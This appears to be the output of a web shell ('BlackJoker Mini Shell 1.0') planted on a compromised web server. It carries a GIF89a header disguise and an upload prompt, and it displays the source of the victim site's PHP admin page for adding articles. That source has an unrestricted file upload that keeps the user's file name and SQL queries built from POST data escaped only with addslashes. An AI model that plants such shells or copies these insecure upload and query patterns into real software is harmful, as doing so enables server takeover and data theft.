GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/admin/
Upload File :
Current File : /home/serb/public_html/admin/add_article.php

<?
include("sessionout.php");
 include("../lib/globals.php");
 include("../lib/common.php");
 include("../lib/functions.php");
 require_once('../fckeditor/fckeditor.php');
 
  function encodeHTML($sHTML)
		{
			$sHTML=ereg_replace("&","&amp;",$sHTML);
			$sHTML=ereg_replace("<","&lt;",$sHTML);
			$sHTML=ereg_replace(">","&gt;",$sHTML);
			return $sHTML;
		}

 $id=$_POST["id"];
 $sb=$_POST["Submit"];
 if($sb=="Process")
	{		
		$article_cat=addslashes($_POST["article_cat"]);
		$article_name=addslashes($_POST["article_name"]);
		$article_tags=addslashes($_POST["article_tags"]);
		$article_src=addslashes($_POST["article_src"]);
		$page_Content=addslashes($_POST["page_Content"]);
		$status='a';
		if($_FILES['article_image']['tmp_name'])
		{
			$manu_imagename1=time().$_FILES['article_image']['name'];
			move_uploaded_file($_FILES['article_image']['tmp_name'],'../articles/'.$manu_imagename1);
		}
		$insert_sql="insert into articles(article_id,article_cate,article_title,article_desc,article_image,article_tags,article_source) values('','$article_cat','$article_name','$page_Content','$manu_imagename1','$article_tags','$article_src')";
		//print $insert_sql;
		execute_query($insert_sql);
		
						 ?>
							<script>
								window.location.href="list_articles.php";
							</script>
						 <?
	}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>:: Adult Rubs | Admin ::</title>
<link href="../style.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../validator/frm_validator.js"></script>
<script>
    function validate4()
	{
	   if(frmValidate('f1','article_name','Article Name','YES','')== false)
	   {
	     return false;
	   }
    } 
</script>
</head>
<body>
<table width="790" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="left" valign="top"><table width="790" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="left" valign="top" class="td1"><table width="790" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="343" align="left" valign="top">&nbsp;</td>
            <td width="447" align="left" valign="top">&nbsp;</td>
          </tr>
          <tr>
			<td height="38" align="right" valign="middle" class="topnav"><p style="margin-left:23px;"><img src="../images/logo.png" alt="" /></p></td>
           <td align="center" valign="middle" class="footer-link">Administrator Control Panel</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="left" valign="top" class="td2">&nbsp;</td>
        </tr>
    </table></td>
  </tr>
  <tr>
    <td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td align="center" valign="top" class="td4"><table width="768" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="6"></td>
            </tr>
          <tr>
            <td align="center" valign="top" class="td5">&nbsp;</td>
          </tr>
          <tr>
            <td align="center" valign="top" class="td9"><table width="751" border="0" align="center" class="bordermain">
              <tr>
                <td><? include("menu.php");?></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td align="center">
				<form action="<? print $_SERVER['PHP_SELF'];?>" method="post" enctype="multipart/form-data" name="f1" onSubmit="return validate4()" >
				<table width="735" border="0" align="center" cellspacing="1" class="Table4">
                  <tr>
                    <td colspan="2" align="center" class="tblHeader2">Add New Articles  </td>
                  </tr>
                  <tr class="mouseOver">
                    <td width="41%" align="right"><strong>Select Category: &nbsp;</strong></td>
                    <td width="59%" align="left">
                    	<select name="article_cat">
                        	<? 
							$sql1="SELECT * FROM articles_category";
							$res1=execute_query($sql1);
							while($row1=mysql_fetch_array($res1))
							{
							?>
                        	<option value="<?=$row1['cat_id'] ?>"><?=$row1['cat_name'] ?></option>
                            <? } ?>
                        </select>
                    </td>
                  </tr>
				  <tr class="mouseOver">
                    <td width="42%" align="right"><strong>Article Name: &nbsp;</strong></td>
                    <td width="58%" align="left"><input name="article_name" type="text" class="content" id="gpage_name" size="50" /></td>
                  </tr>
                  <tr align="left" class="mouseOver">
                    <td colspan="2"><strong><br />
                      Article Description:<br />
                    </strong></td>
                    </tr>
                  <tr class="mouseOver">
                    <td colspan="2" align="center">
                    <?php 
					$sBasePath = "../fckeditor/" ;
					$oFCKeditor = new FCKeditor('page_Content') ;
					$oFCKeditor->BasePath = $sBasePath ;
					$oFCKeditor->CheckBrowser = true ;
					$oFCKeditor->Height = "350" ; // 250 pixels
					$oFCKeditor->Width = "725" ; // 250 pixels
					$oFCKeditor->Value=$page_content;
					$oFCKeditor->Create();
				    ?>
						</td>
                    </tr>
                  <tr class="mouseOver">
                    <td width="41%" align="right"><strong>Article Image: &nbsp;</strong></td>
                    <td width="59%" align="left"><input name="article_image" type="file" class="content" id="eng_menu" size="50" /></td>
                  </tr>
                  <tr class="mouseOver">
                    <td width="42%" align="right"><strong>Article Tags: &nbsp;</strong></td>
                    <td width="58%" align="left"><input name="article_tags" type="text" class="content" id="page_name" size="50" /></td>
                  </tr> 
                  <tr class="mouseOver">
                    <td width="42%" align="right"><strong>Article Source: &nbsp;</strong></td>
                    <td width="58%" align="left"><input name="article_src" type="text" class="content" id="page_name" size="50" /></td>
                  </tr>   
                  <tr class="mouseOver">
                    <td width="42%" align="right">&nbsp;</td>
                    <td width="58%" align="left">&nbsp;</td>
                  </tr>
                  <tr class="mouseOver">
                    <td align="right"><input name="Submit" type="submit" class="butn3" value="Process" />
                      &nbsp;</td>
                    <td align="left" >&nbsp;
                        <input name="Submit2" type="reset" class="butn3" value="Reset" /></td>
                  </tr>
                  <tr class="mouseOver">
                    <td align="right">&nbsp;</td>
                    <td align="left" >&nbsp;</td>
                  </tr>
                </table>
				</form>	
				</td>
                </tr>
              
            </table>
			
			</td>
          </tr>
          <tr>
            <td width="232" align="center" valign="top" class="td5">&nbsp;</td>
            </tr>
          <tr>
            <td height="6"></td>
            </tr>
        </table></td>
      </tr>
      
    </table></td>
  </tr>
  <tr>
    <td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="center" valign="top" class="footer-bac">
		<p style="text-align:center; padding:35px 0 5px 0px;"><a href="main.php" class="footer-link">Administrator Control Panel </a></p>
		<p class="footer-text1" style="text-align:center;">Adult Rubs</p>
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>

./BlackJoker Mini Shell 1.0